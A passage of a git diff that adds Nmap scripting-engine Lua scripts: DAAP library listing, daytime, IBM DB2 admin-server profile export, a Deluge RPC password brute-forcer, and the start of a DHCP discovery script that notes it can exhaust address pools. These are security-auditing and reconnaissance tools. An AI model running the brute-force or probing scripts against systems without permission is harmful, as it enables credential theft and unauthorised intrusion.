+-- | Dry And Dusty
+-- | Keep The Streets Empty For Me
+-- | Triangle Walks
+-- | If I Had A Heart
+-- | Seven
+-- | When I Grow Up
+-- |_ Coconut
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+-- Version 0.2
+-- Created 01/14/2010 - v0.1 - created by Patrik Karlsson
+-- Revised 01/23/2010 - v0.2 - changed to port_or_service, added link to documentation, limited output to 100 songs or to daap_item_limit script argument.
+
+portrule = shortport.port_or_service(3689, "daap")
+
+--- Gets the name of the library from the server
+--
+-- @param host table containing an ip field.
+-- @param port table containing number and protocol fields.
+-- @return string containing the name of the library
+function getLibraryName( host, port )
+ local libname, pos
+ local url = "daap://" .. host.ip .. "/server-info"
+ local response = http.get( host, port, url, nil, nil, nil)
+
+ if response == nil or response.body == nil or response.body=="" then
+ return
+ end
+
+ pos = string.find(response.body, "minm")
+
+ if pos > 0 then
+ pos = pos + 4
+ libname, pos = string.unpack( ">s4", response.body, pos )
+ end
+
+ return libname
+end
+
+--- Reads the first item value specified by name
+--
+-- @param data string containing the unparsed item
+-- @param name string containing the name of the value to read
+-- @return number
+local function getAttributeAsInt( data, name )
+
+ local pos = string.find(data, name)
+ local attrib
+
+ if pos and pos > 0 then
+ pos = pos + 4
+ local len
+ len, pos = string.unpack( ">I4", data, pos )
+
+ if ( len ~= 4 ) then
+ stdnse.debug1("Unexpected length returned: %d", len )
+ return
+ end
+
+ attrib, pos = string.unpack( ">I4", data, pos )
+ end
+
+ return attrib
+
+end
+
+--- Gets the revision number for the library
+--
+-- @param host table containing an ip field.
+-- @param port table containing number and protocol fields.
+-- @return number containing the session identity received from the server
+function getSessionId( host, port )
+
+ local sessionid
+ local response = http.get( host, port, "/login", nil, nil, nil )
+
+ if response ~= nil then
+ sessionid = getAttributeAsInt( response.body, "mlid")
+ end
+
+ return sessionid
+end
+
+--- Gets the revision number for the library
+--
+-- @param host table containing an ip field.
+-- @param port table containing number and protocol fields.
+-- @param sessionid number containing session identifier from <code>getSessionId</code>
+-- @return number containing the revision number for the library
+function getRevisionNumber( host, port, sessionid )
+ local url = "/update?session-id=" .. sessionid .. "&revision-number=1"
+ local revision
+ local response = http.get( host, port, url, nil, nil, nil )
+
+ if response ~= nil then
+ revision = getAttributeAsInt( response.body, "musr")
+ end
+
+ return revision
+end
+
+--- Gets the database identity for the library
+--
+-- @param host table containing an ip field.
+-- @param port table containing number and protocol fields.
+-- @param sessionid number containing session identifier from <code>getSessionId</code>
+-- @param revid number containing the revision id as retrieved from <code>getRevisionNumber</code>
+function getDatabaseId( host, port, sessionid, revid )
+ local url = "/databases?session-id=" .. sessionid .. "&revision-number=" .. revid
+ local response = http.get( host, port, url, nil, nil, nil )
+ local miid
+
+ if response ~= nil then
+ miid = getAttributeAsInt( response.body, "miid")
+ end
+
+ return miid
+end
+
+--- Gets a string item type from data
+--
+-- @param data string starting with the 4-bytes of length
+-- @param pos number containing offset into data
+-- @return pos number containing new position after reading string
+-- @return value string containing the string item that was read
+local function getStringItem( data, pos )
+ local item, pos = string.unpack(">s4", data, pos)
+ return pos, item
+end
+
+local itemFetcher = {}
+
+itemFetcher["mikd"] = function( data, pos ) return getStringItem( data, pos ) end
+itemFetcher["miid"] = itemFetcher["mikd"]
+itemFetcher["minm"] = itemFetcher["mikd"]
+itemFetcher["asal"] = itemFetcher["mikd"]
+itemFetcher["asar"] = itemFetcher["mikd"]
+
+--- Parses a single item (mlit)
+--
+-- @param data string containing the unparsed item starting at the first available tag
+-- @param len number containing the length of the item
+-- @return item table containing <code>mikd</code>, <code>miid</code>, <code>minm</code>,
+-- <code>asal</code> and <code>asar</code> when available
+parseItem = function( data, len )
+
+ local pos, name, value = 1, nil, nil
+ local item = {}
+
+ while( len - pos > 0 ) do
+ name, pos = string.unpack( "c4", data, pos )
+
+ if itemFetcher[name] then
+ pos, item[name] = itemFetcher[name](data, pos )
+ else
+ stdnse.debug1("No itemfetcher for: %s", name)
+ break
+ end
+
+ end
+
+ return item
+
+end
+
+--- Request and process all music items
+--
+-- @param host table containing an ip field.
+-- @param port table containing number and protocol fields.
+-- @param sessionid number containing session identifier from <code>getSessionId</code>
+-- @param dbid number containing database id from <code>getDatabaseId</code>
+-- @param limit number containing the maximum amount of songs to return
+-- @return table containing the following structure [artist][album][songs]
+function getItems( host, port, sessionid, revid, dbid, limit )
+ local meta = "dmap.itemid,dmap.itemname,dmap.itemkind,daap.songalbum,daap.songartist"
+ local url = "/databases/" .. dbid .. "/items?type=music&meta=" .. meta .. "&session-id=" .. sessionid .. "&revision-number=" .. revid
+ local response = http.get( host, port, url, nil, nil, nil )
+ local item, data, pos, len
+ local items = {}
+ local limit = limit or -1
+
+ if response == nil then
+ return
+ end
+
+ -- get our position to the list of items
+ pos = string.find(response.body, "mlcl")
+ pos = pos + 4
+
+ while ( pos > 0 and pos + 8 < response.body:len() ) do
+
+ -- find the next single item
+ pos = string.find(response.body, "mlit", pos)
+ pos = pos + 4
+
+ len, pos = string.unpack( ">I4", response.body, pos )
+
+ if ( pos < response.body:len() and pos + len < response.body:len() ) then
+ data, pos = string.unpack( "c" .. len, response.body, pos )
+ else
+ break
+ end
+
+ -- parse a single item
+ item = parseItem( data, len )
+
+ local album = item.asal or "unknown"
+ local artist= item.asar or "unknown"
+ local song = item.minm or ""
+
+ if items[artist] == nil then
+ items[artist] = {}
+ end
+
+ if items[artist][album] == nil then
+ items[artist][album] = {}
+ end
+
+ if limit == 0 then
+ break
+ elseif limit > 0 then
+ limit = limit - 1
+ end
+
+ table.insert( items[artist][album], song )
+
+ end
+
+
+ return items
+
+end
+
+
+action = function(host, port)
+
+ local limit = tonumber(nmap.registry.args.daap_item_limit) or 100
+ local libname = getLibraryName( host, port )
+
+ if libname == nil then
+ return
+ end
+
+ local sessionid = getSessionId( host, port )
+
+ if sessionid == nil then
+ return stdnse.format_output(true, "Libname: " .. libname)
+ end
+
+ local revid = getRevisionNumber( host, port, sessionid )
+
+ if revid == nil then
+ return stdnse.format_output(true, "Libname: " .. libname)
+ end
+
+ local dbid = getDatabaseId( host, port, sessionid, revid )
+
+ if dbid == nil then
+ return
+ end
+
+ local items = getItems( host, port, sessionid, revid, dbid, limit )
+
+ if items == nil then
+ return
+ end
+
+ local albums, songs, artists, results = {}, {}, {}, {}
+
+ table.insert( results, libname )
+
+ for artist, v in pairs(items) do
+ albums = {}
+ for album, v2 in pairs(v) do
+ songs = {}
+ for _, song in pairs( v2 ) do
+ table.insert( songs, song )
+ end
+ table.insert( albums, album )
+ table.insert( albums, songs )
+ end
+ table.insert( artists, artist )
+ table.insert( artists, albums )
+ end
+
+ table.insert( results, artists )
+ local output = stdnse.format_output( true, results )
+
+ if limit > 0 then
+ output = output .. string.format("\n\nOutput limited to %d items", limit )
+ end
+
+ return output
+
+end
diff --git a/scripts/daytime.nse b/scripts/daytime.nse
new file mode 100644
index 0000000..bc8fb2f
--- /dev/null
+++ b/scripts/daytime.nse
@@ -0,0 +1,26 @@
+local comm = require "comm"
+local shortport = require "shortport"
+local oops = require "oops"
+
+description = [[
+Retrieves the day and time from the Daytime service.
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE
+-- 13/tcp open daytime
+-- |_daytime: Wed Mar 31 14:48:58 MDT 2010
+
+author = "Diman Todorov"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.port_or_service(13, "daytime", {"tcp", "udp"})
+
+action = function(host, port)
+ return oops.output(comm.exchange(host, port, "dummy", {lines=1}))
+end
diff --git a/scripts/db2-das-info.nse b/scripts/db2-das-info.nse
new file mode 100644
index 0000000..22b305f
--- /dev/null
+++ b/scripts/db2-das-info.nse
@@ -0,0 +1,430 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+Connects to the IBM DB2 Administration Server (DAS) on TCP or UDP port 523 and
+exports the server profile. No authentication is required for this request.
+
+The script will also set the port product and version if a version scan is
+requested.
+]]
+
+-- rev 1.1 (2010-01-28)
+
+---
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 523/tcp open ibm-db2 IBM DB2 Database Server 9.07.0
+-- | db2-das-info: DB2 Administration Server Settings
+-- | ;DB2 Server Database Access Profile
+-- | ;Use BINARY file transfer
+-- | ;Comment lines start with a ";"
+-- | ;Other lines must be one of the following two types:
+-- | ;Type A: [section_name]
+-- | ;Type B: keyword=value
+-- |
+-- | [File_Description]
+-- | Application=DB2/LINUX 9.7.0
+-- | Platform=18
+-- | File_Content=DB2 Server Definitions
+-- | File_Type=CommonServer
+-- | File_Format_Version=1.0
+-- | DB2System=MYBIGDATABASESERVER
+-- | ServerType=DB2LINUX
+-- |
+-- | [adminst>dasusr1]
+-- | NodeType=1
+-- | DB2Comm=TCPIP
+-- | Authentication=SERVER
+-- | HostName=MYBIGDATABASESERVER
+-- | PortNumber=523
+-- | IpAddress=127.0.1.1
+-- |
+-- | [inst>db2inst1]
+-- | NodeType=1
+-- | DB2Comm=TCPIP
+-- | Authentication=SERVER
+-- | HostName=MYBIGDATABASESERVER
+-- | ServiceName=db2c_db2inst1
+-- | PortNumber=50000
+-- | IpAddress=127.0.1.1
+-- | QuietMode=No
+-- | TMDatabase=1ST_CONN
+-- |
+-- | [db>db2inst1:TOOLSDB]
+-- | DBAlias=TOOLSDB
+-- | DBName=TOOLSDB
+-- | Drive=/home/db2inst1
+-- | Dir_entry_type=INDIRECT
+-- |_Authentication=NOTSPEC
+
+author = {"Patrik Karlsson", "Tom Sellers"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"safe", "discovery", "version"}
+
+
+--- Research Notes:
+--
+-- Little documentation on the protocol used to communicate with the IBM DB2 Admin Server
+-- service exists. The packets and methods here were developed based on data captured
+-- in the wild. Interviews with knowledgeable individuals indicates that the following
+-- information can be used to recreate the traffic.
+--
+-- Requirements:
+-- IBM DB2 Administrative Server (DAS) version >= 7.x instance, typically on port 523 tcp or udp
+-- IBM DB2 Control Center (Java application, workings on Linux, Windows, etc)
+--
+-- Steps to reproduce:
+-- Ensure network connectivity from test host to DB2 DAS instance on 523
+-- In the Control Center, right click on All Systems and click Add
+-- Enter the DB2 server IP or hostname in the System Name field and click OK
+-- Start packet capture
+-- Under All Systems right click on your DB2 server, choose export profile, enter file location, click OK
+-- Stop packet capture
+--
+-- Details on how to reproduce these steps with the CLI are welcome.
+
+portrule = shortport.version_port_or_service({523}, nil,
+ {"tcp","udp"},
+ {"open", "open|filtered"})
+
+--- Extracts the server profile from an already parsed db2 packet
+--
+-- This function assumes that the data contains the server profile and does
+-- no attempts to verify whether it does or not. The response from the function
+-- is simply a substring starting at offset 37.
+--
+-- @param data string containing the "info" section as parsed by parse_db2_packet
+-- @return string containing the complete server profile
+function extract_server_profile(data)
+
+ local server_profile_offset = 37
+
+ if server_profile_offset > data:len() then
+ return
+ end
+
+ return data:sub(server_profile_offset)
+
+end
+
+--- Does *very* basic parsing of a DB2 packet
+--
+-- Due to the limited documentation of the protocol this function is guesswork
+-- The section called info is essentially the data part of the db2das data response
+-- The length of this section is found at offset 158 in the db2das.data section
+--
+--
+-- @param packet table as returned from read_db2_packet
+-- @return table with parsed data
+function parse_db2_packet(packet)
+
+ local info_length_offset = 158
+ local info_offset = 160
+ local version_offset = 97
+ local response = {}
+
+ if packet.header.data_len < info_length_offset then
+ stdnse.debug1("packet too short to be DB2 response...")
+ return
+ end
+
+ local len = string.unpack(">I2", packet.data, info_length_offset)
+ response.version = string.unpack("z", packet.data, version_offset)
+ response.info_length = len - 4
+ response.info = packet.data:sub(info_offset, info_offset + response.info_length - (info_offset-info_length_offset))
+
+ if(nmap.debugging() > 3) then
+ stdnse.debug1("version: %s", response.version)
+ stdnse.debug1("info_length: %d", response.info_length)
+ stdnse.debug1("response.info:len(): %d", response.info:len())
+ end
+
+ return response
+
+end
+
+--- Reads a DB2 packet from the socket
+--
+-- Due to the limited documentation of the protocol this function is guesswork
+-- The first 41 bytes of the db2das response are considered to be the header
+-- The bytes following the header are considered to be the data
+--
+-- Offset 38 of the header contains an integer with the length of the data section
+-- The length of the data section can unfortunately be of either endianness
+-- There's
+--
+-- @param socket connected to the server
+-- @return table with header and data
+function read_db2_packet(socket)
+
+ local packet = {}
+ local header_len = 41
+ local total_len = 0
+ local buf
+
+ local DATA_LENGTH_OFFSET = 38
+ local ENDIANESS_OFFSET = 23
+
+ local catch = function()
+ stdnse.debug1("ERROR communicating with DB2 server")
+ socket:close()
+ end
+
+ local try = nmap.new_try(catch)
+ packet.header = {}
+
+ buf = try( socket:receive_bytes(header_len) )
+
+ packet.header.raw = buf:sub(1, header_len)
+
+ if packet.header.raw:sub(1, 10) == "\x00\x00\x00\x00\x44\x42\x32\x44\x41\x53" then
+
+ stdnse.debug1("Got DB2DAS packet")
+
+ local endian = string.unpack( "c2", packet.header.raw, ENDIANESS_OFFSET )
+
+ if endian == "9z" then
+ packet.header.data_len = string.unpack("<I4", packet.header.raw, DATA_LENGTH_OFFSET )
+ else
+ packet.header.data_len = string.unpack(">I4", packet.header.raw, DATA_LENGTH_OFFSET )
+ end
+
+ total_len = header_len + packet.header.data_len
+
+ if(nmap.debugging() > 3) then
+ stdnse.debug1("data_len: %d", packet.header.data_len)
+ stdnse.debug1("buf_len: %d", buf:len())
+ stdnse.debug1("total_len: %d", total_len)
+ end
+
+ -- do we have all data as specified by data_len?
+ while total_len > buf:len() do
+ -- if not read additional bytes
+ if(nmap.debugging() > 3) then
+ stdnse.debug1("Reading %d additional bytes", total_len - buf:len())
+ end
+ local tmp = try( socket:receive_bytes( total_len - buf:len() ) )
+ if(nmap.debugging() > 3) then
+ stdnse.debug1("Read %d bytes", tmp:len())
+ end
+ buf = buf .. tmp
+ end
+
+ packet.data = buf:sub(header_len + 1)
+
+ else
+ stdnse.debug1("Unknown packet, aborting ...")
+ return
+ end
+
+ return packet
+
+end
+
+--- Sends a db2 packet table over the wire
+--
+-- @param socket already connected to the server
+-- @param packet table as returned from <code>create_das_packet</code>
+--
+function send_db2_packet( socket, packet )
+
+ local catch = function()
+ stdnse.debug1("ERROR communicating with DB2 server")
+ socket:close()
+ end
+
+ local try = nmap.new_try(catch)
+
+ local buf = packet.header.raw .. packet.data
+
+ try( socket:send(buf) )
+
+end
+
+--- Creates a db2 packet table using the magic byte and data
+--
+-- The function returns a db2 packet table:
+-- packet.header - contains header specific values
+-- packet.header.raw - contains the complete un-parsed header (string)
+-- packet.header.data_len - contains the length of the data block
+-- packet.data - contains the complete un-parsed data block (string)
+--
+-- @param magic byte containing a value of unknown function (could be type)
+-- @param data string containing the db2 packet data
+-- @return table as described above
+--
+function create_das_packet( magic, data )
+
+ local packet = {}
+ local data_len = data:len()
+
+ packet.header = {}
+
+ packet.header.raw = "\x00\x00\x00\x00\x44\x42\x32\x44\x41\x53\x20\x20\x20\x20\x20\x20"
+ .. "\x01\x04\x00\x00\x00\x10\x39\x7a\x00\x05\x00\x00\x00\x00\x00\x00"
+ .. "\x00\x00\x00\x00"
+ .. string.pack("<B I2", magic, data_len)
+ .. "\x00\x00"
+
+ packet.header.data_len = data_len
+ packet.data = data
+
+ return packet
+end
+
+action = function(host, port)
+
+
+ -- create the socket used for our connection
+ local socket = nmap.new_socket()
+
+ -- set a reasonable timeout value
+ socket:set_timeout(10000)
+
+ -- do some exception handling / cleanup
+ local catch = function()
+ stdnse.debug1("ERROR communicating with " .. host.ip .. " on port " .. port.number)
+ socket:close()
+ end
+
+ local try = nmap.new_try(catch)
+
+
+ try(socket:connect(host, port))
+
+ local query
+
+ -- ************************************************************************************
+ -- Transaction block 1
+ -- ************************************************************************************
+ local data = "\x00\x00\x00\x0d\x00\x00\x00\x0c\x00\x00\x00\x4a\x00"
+
+ --try(socket:send(query))
+ local db2packet = create_das_packet(0x02, data)
+
+ send_db2_packet( socket, db2packet )
+ read_db2_packet( socket )
+
+ -- ************************************************************************************
+ -- Transaction block 2
+ -- ************************************************************************************
+ data = "\x00\x00\x00\x2c\x00\x00\x00"
+ .. "\x0c\x00\x00\x00\x08\x59\xe7\x1f\x4b\x79\xf0\x90\x72\x85\xe0\x8f"
+ .. "\x3e\x38\x45\x38\xe3\xe5\x12\xc4\x3b\xe9\x7d\xe2\xf5\xf0\x78\xcc"
+ .. "\x81\x6f\x87\x5f\x91"
+
+ db2packet = create_das_packet(0x05, data)
+
+ send_db2_packet( socket, db2packet )
+ read_db2_packet( socket )
+
+ -- ************************************************************************************
+ -- Transaction block 3
+ -- ************************************************************************************
+ data = "\x00\x00\x00\x0d\x00\x00\x00\x0c\x00\x00\x00\x4a\x01\x00\x00\x00"
+ .. "\x10\x00\x00\x00\x0c\x00\x00\x00\x4c\xff\xff\xff\xff\x00\x00\x00"
+ .. "\x20\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x04\xb8\x64\x62\x32"
+ .. "\x64\x61\x73\x4b\x6e\x6f\x77\x6e\x44\x73\x63\x76\x00\x00\x00\x00"
+ .. "\x20\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x04\xb8\x64\x62\x32"
+ .. "\x4b\x6e\x6f\x77\x6e\x44\x73\x63\x76\x53\x72\x76\x00"
+
+ db2packet = create_das_packet(0x0a, data)
+ send_db2_packet( socket, db2packet )
+ read_db2_packet( socket )
+
+ -- ************************************************************************************
+ -- Transaction block 4
+ -- ************************************************************************************
+ data = "\x00\x00\x00\x0d\x00\x00\x00\x0c\x00\x00\x00\x4a\x01\x00\x00\x00"
+ .. "\x20\x00\x00\x00\x0c\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x03"
+ .. "\x48\x00\x00\x00\x00\x4a\xfb\x42\x90\x00\x00\x24\x93\x00\x00\x00"
+ .. "\x10\x00\x00\x00\x0c\x00\x00\x00\x4c\xff\xff\xff\xff\x00\x00\x00"
+ .. "\x10\x00\x00\x00\x0c\x00\x00\x00\x4c\xff\xff\xff\xff\x00\x00\x00"
+ .. "\x20\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x04\xb8\x64\x62\x32"
+ .. "\x4b\x6e\x6f\x77\x6e\x44\x73\x63\x76\x53\x72\x76\x00\x00\x00\x00"
+ .. "\x20\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x04\xb8\x64\x62\x32"
+ .. "\x64\x61\x73\x4b\x6e\x6f\x77\x6e\x44\x73\x63\x76\x00\x00\x00\x00"
+ .. "\x0c\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x00\x10\x00\x00\x00"
+ .. "\x0c\x00\x00\x00\x4c\xff\xff\xff\xff\x00\x00\x00\x10\x00\x00\x00"
+ .. "\x0c\x00\x00\x00\x4c\xff\xff\xff\xff\x00\x00\x00\x11\x00\x00\x00"
+ .. "\x0c\x00\x00\x00\x04\x00\x00\x04\xb8\x00"
+
+ db2packet = create_das_packet(0x06, data)
+ send_db2_packet( socket, db2packet )
+
+ data = "\x00\x00\x00\x20\x00\x00\x00\x0c\x00\x00\x00\x04\x00"
+ .. "\x00\x04\xb8\x64\x62\x32\x64\x61\x73\x4b\x6e\x6f\x77\x6e\x44\x73"
+ .. "\x63\x76\x00\x00\x00\x00\x20\x00\x00\x00\x0c\x00\x00\x00\x04\x00"
+ .. "\x00\x04\xb8\x64\x62\x32\x4b\x6e\x6f\x77\x6e\x44\x73\x63\x76\x53"
+ .. "\x72\x76\x00\x00\x00\x00\x10\x00\x00\x00\x0c\x00\x00\x00\x4c\x00"
+ .. "\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x0c\x00\x00\x00\x4c\x00"
+ .. "\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x0c\x00\x00\x00\x4c\x00"
+ .. "\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x0c\x00\x00\x00\x08\x00"
+ .. "\x00\x00\x10\x00\x00\x00\x0c\x00\x00\x00\x4c\x00\x00\x00\x01\x00"
+ .. "\x00\x00\x18\x00\x00\x00\x0c\x00\x00\x00\x08\x00\x00\x00\x0c\x00"
+ .. "\x00\x00\x0c\x00\x00\x00\x18"
+
+ db2packet = create_das_packet(0x06, data)
+ send_db2_packet( socket, db2packet )
+
+ local packet = read_db2_packet( socket )
+ local db2response = parse_db2_packet(packet)
+
+ socket:close()
+
+ -- The next block of code is essentially the version extraction code from db2-info.nse
+ local server_version
+ if string.sub(db2response.version,1,3) == "SQL" then
+ local major_version = string.sub(db2response.version,4,5)
+
+ -- strip the leading 0 from the major version, for consistency with
+ -- nmap-service-probes results
+ if string.sub(major_version,1,1) == "0" then
+ major_version = string.sub(major_version,2)
+ end
+ local minor_version = string.sub(db2response.version,6,7)
+ local hotfix = string.sub(db2response.version,8)
+ server_version = major_version .. "." .. minor_version .. "." .. hotfix
+ end
+
+ -- Try to determine which of the two values (probe version vs script) has more
+ -- precision. A couple DB2 versions send DB2 UDB 7.1 vs SQL090204 (9.02.04)
+ local _
+ local current_count = 0
+ if port.version.version ~= nil then
+ _, current_count = string.gsub(port.version.version, "%.", ".")
+ end
+
+ local new_count = 0
+ if server_version ~= nil then
+ _, new_count = string.gsub(server_version, "%.", ".")
+ end
+
+ if current_count < new_count then
+ port.version.version = server_version
+ end
+
+ local result = false
+
+ local db2profile = extract_server_profile( db2response.info )
+
+ if (db2profile ~= nil ) then
+ result = "DB2 Administration Server Settings\r\n"
+ .. extract_server_profile( db2response.info )
+
+ -- Set port information
+ port.version.name = "ibm-db2"
+ port.version.product = "IBM DB2 Database Server"
+ port.version.name_confidence = 10
+ nmap.set_port_version(host, port)
+ nmap.set_port_state(host, port, "open")
+ end
+
+ return result
+
+end
diff --git a/scripts/deluge-rpc-brute.nse b/scripts/deluge-rpc-brute.nse
new file mode 100644
index 0000000..d92b004
--- /dev/null
+++ b/scripts/deluge-rpc-brute.nse
@@ -0,0 +1,167 @@
+local brute = require "brute"
+local creds = require "creds"
+local shortport = require "shortport"
+local string = require "string"
+
+local have_zlib, zlib = pcall(require, "zlib")
+
+description = [[
+Performs brute force password auditing against the DelugeRPC daemon.
+]]
+
+---
+-- @usage
+-- nmap --script deluge-rpc-brute -p 58846 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON TTL
+-- 58846/tcp open unknown syn-ack 0
+-- | deluge-rpc-brute:
+-- | Accounts
+-- | admin:default - Valid credentials
+-- | Statistics
+-- |_ Performed 8 guesses in 1 seconds, average tps: 8
+
+author = "Claudiu Perta <claudiu.perta@gmail.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.port_or_service(58846, "deluge-rpc")
+
+-- Returns an rencoded login request with the given username and password.
+-- The format of the login command is the following:
+--
+-- ((0, 'daemon.login', ('username', 'password'), {}),)
+--
+-- This is inspired from deluge source code, in particular, see
+-- http://git.deluge-torrent.org/deluge/tree/deluge/rencode.py
+local rencoded_login_request = function(username, password)
+ local INT_POS_FIXED_START = 0
+ local INT_POS_FIXED_COUNT = 44
+
+ -- Dictionaries with length embedded in typecode.
+ local DICT_FIXED_START = 102
+ local DICT_FIXED_COUNT = 25
+
+ -- Strings with length embedded in typecode.
+ local STR_FIXED_START = 128
+ local STR_FIXED_COUNT = 64
+
+ -- Lists with length embedded in typecode.
+ local LIST_FIXED_START = 192
+ local LIST_FIXED_COUNT = 64
+
+ if #username > 0xff - STR_FIXED_START then
+ return nil, "Username too long"
+ elseif #password > 0xff - STR_FIXED_START then
+ return nil, "Password too long"
+ end
+
+ -- Encode the login request:
+ -- ((0, 'daemon.login', ('username', 'password'), {}),)
+ local request = string.pack("BBBB",
+ LIST_FIXED_START + 1,
+ LIST_FIXED_START + 4,
+ INT_POS_FIXED_START,
+ STR_FIXED_START + string.len("daemon.login")
+ )
+ .. "daemon.login"
+ .. string.pack("BB",
+ LIST_FIXED_START + 2,
+ STR_FIXED_START + string.len(username)
+ )
+ .. username
+ .. string.pack("B",
+ STR_FIXED_START + string.len(password)
+ )
+ .. password
+ .. string.pack("B", DICT_FIXED_START)
+
+ return request
+end
+
+Driver = {
+
+ new = function(self, host, port, invalid_users)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.invalid_users = invalid_users
+ return o
+ end,
+
+ connect = function(self)
+ local status, err
+ self.socket = brute.new_socket()
+ self.socket:set_timeout(
+ ((self.host.times and self.host.times.timeout) or 8) * 1000)
+
+ local status, err = self.socket:connect(self.host, self.port, "ssl")
+ if not status then
+ return false, brute.Error:new("Failed to connect to server")
+ end
+
+ return true
+ end,
+
+ disconnect = function(self)
+ self.socket:close()
+ end,
+
+ login = function(self, username, password)
+ if (self.invalid_users[username]) then
+ return false, brute.Error:new("Invalid user")
+ end
+
+ local request, err = rencoded_login_request(username, password)
+ if not request then
+ return false, brute.Error:new(err)
+ end
+ local status, err = self.socket:send(zlib.compress(request))
+
+ if not status then
+ return false, brute.Error:new("Login error")
+ end
+
+ local status, response = self.socket:receive()
+ if not status then
+
+ return false, brute.Error:new("Login error")
+ end
+
+ response = zlib.decompress(response)
+ if response:match("BadLoginError") then
+ local error_message = "Login error"
+ if response:match("Username does not exist") then
+ self.invalid_users[username] = true
+ error_message = "Username not found"
+ elseif response:match("Password does not match") then
+ error_message = "Username not found"
+ end
+ return false, brute.Error:new(error_message)
+ end
+
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end,
+
+ check = function(self)
+ return true
+ end
+}
+
+action = function(host, port)
+
+ if not have_zlib then
+ return "Error: zlib required!"
+ end
+
+ local invalid_users = {}
+ local engine = brute.Engine:new(Driver, host, port, invalid_users)
+
+ engine.options.script_name = SCRIPT_NAME
+ local status, results = engine:start()
+
+ return results
+end
diff --git a/scripts/dhcp-discover.nse b/scripts/dhcp-discover.nse
new file mode 100644
index 0000000..d78ce7d
--- /dev/null
+++ b/scripts/dhcp-discover.nse
@@ -0,0 +1,228 @@
+local dhcp = require "dhcp"
+local rand = require "rand"
+local nmap = require "nmap"
+local outlib = require "outlib"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local ipOps = require "ipOps"
+
+description = [[
+Sends a DHCPINFORM request to a host on UDP port 67 to obtain all the local configuration parameters
+without allocating a new address.
+
+DHCPINFORM is a DHCP request that returns useful information from a DHCP server, without allocating an IP
+address. The request sends a list of which fields it wants to know (a handful by default, every field if
+verbosity is turned on), and the server responds with the fields that were requested. It should be noted
+that the server doesn't have to return every field, nor does it have to return them in the same order,
+or honour the request at all. A Linksys WRT54g, for example, completely ignores the list of requested
+fields and returns a few standard ones. This script displays every field it receives.
+
+With script arguments, the type of DHCP request can be changed, which can lead to interesting results.
+Additionally, the MAC address can be randomized, which in should override the cache on the DHCP server and
+assign a new IP address. Extra requests can also be sent to exhaust the IP address range more quickly.
+
+Some of the more useful fields:
+* DHCP Server (the address of the server that responded)
+* Subnet Mask
+* Router
+* DNS Servers
+* Hostname
+]]
+
+---
+-- @see broadcast-dhcp6-discover.nse
+-- @see broadcast-dhcp-discover.nse
+--
+-- @args dhcp-discover.dhcptype The type of DHCP request to make. By default,
+-- DHCPINFORM is sent, but this argument can change it to DHCPOFFER,
+-- DHCPREQUEST, DHCPDECLINE, DHCPACK, DHCPNAK, DHCPRELEASE or
+-- DHCPINFORM. Not all types will evoke a response from all servers,
+-- and many require different fields to contain specific values.
+-- @args dhcp-discover.mac Set to <code>native</code> (default) or
+-- <code>random</code> or a specific client MAC address in the DHCP
+-- request. Keep in mind that you may not see the response if
+-- a non-native address is used. Setting it to <code>random</code> will
+-- possibly cause the DHCP server to reserve a new IP address each time.
+-- @args dhcp-discover.clientid Client identifier to use in DHCP option 61.
+-- The value is a string, while hardware type 0, appropriate for FQDNs,
+-- is assumed. Example: clientid=kurtz is equivalent to specifying
+-- clientid-hex=00:6b:75:72:74:7a (see below).
+-- @args dhcp-discover.clientid-hex Client identifier to use in DHCP option 61.
+-- The value is a hexadecimal string, where the first octet is
+-- the hardware type.
+-- @args dhcp-discover.requests Set to an integer to make up to that many
+-- requests (and display the results).
+--
+-- @usage
+-- nmap -sU -p 67 --script=dhcp-discover <target>
+-- @output
+-- Interesting ports on 192.168.1.1:
+-- PORT STATE SERVICE
+-- 67/udp open dhcps
+-- | dhcp-discover:
+-- | DHCP Message Type: DHCPACK
+-- | Server Identifier: 192.168.1.1
+-- | IP Address Lease Time: 1 day, 0:00:00
+-- | Subnet Mask: 255.255.255.0
+-- | Router: 192.168.1.1
+-- |_ Domain Name Server: 208.81.7.10, 208.81.7.14
+--
+-- @xmloutput
+-- <elem key="DHCP Message Type">DHCPACK</elem>
+-- <elem key="Server Identifier">192.168.1.1</elem>
+-- <elem key="IP Address Lease Time">1 day, 0:00:00</elem>
+-- <elem key="Subnet Mask">255.255.255.0</elem>
+-- <elem key="Router">192.168.1.1</elem>
+-- <table key="Domain Name Server">
+-- <elem>208.81.7.10</elem>
+-- <elem>208.81.7.14</elem>
+-- </table>
+--
+
+--
+-- 2022-04-22 - Revised by nnposter
+-- o Implemented script arguments "clientid" and "clientid-hex" to allow
+-- passing a specific client identifier (option 61)
+--
+-- 2020-01-14 - Revised by nnposter
+-- o Added script argument "mac" to prescribe a specific MAC address
+-- o Deprecated argument "randomize_mac" in favor of "mac=random"
+--
+-- 2011-12-28 - Revised by Patrik Karlsson <patrik@cqure.net>
+-- o Removed DoS code and placed script into discovery and safe categories
+--
+-- 2011-12-27 - Revised by Patrik Karlsson <patrik@cqure.net>
+-- o Changed script to use DHCPINFORM instead of DHCPDISCOVER
+--
+
+
+author = "Ron Bowes"
+
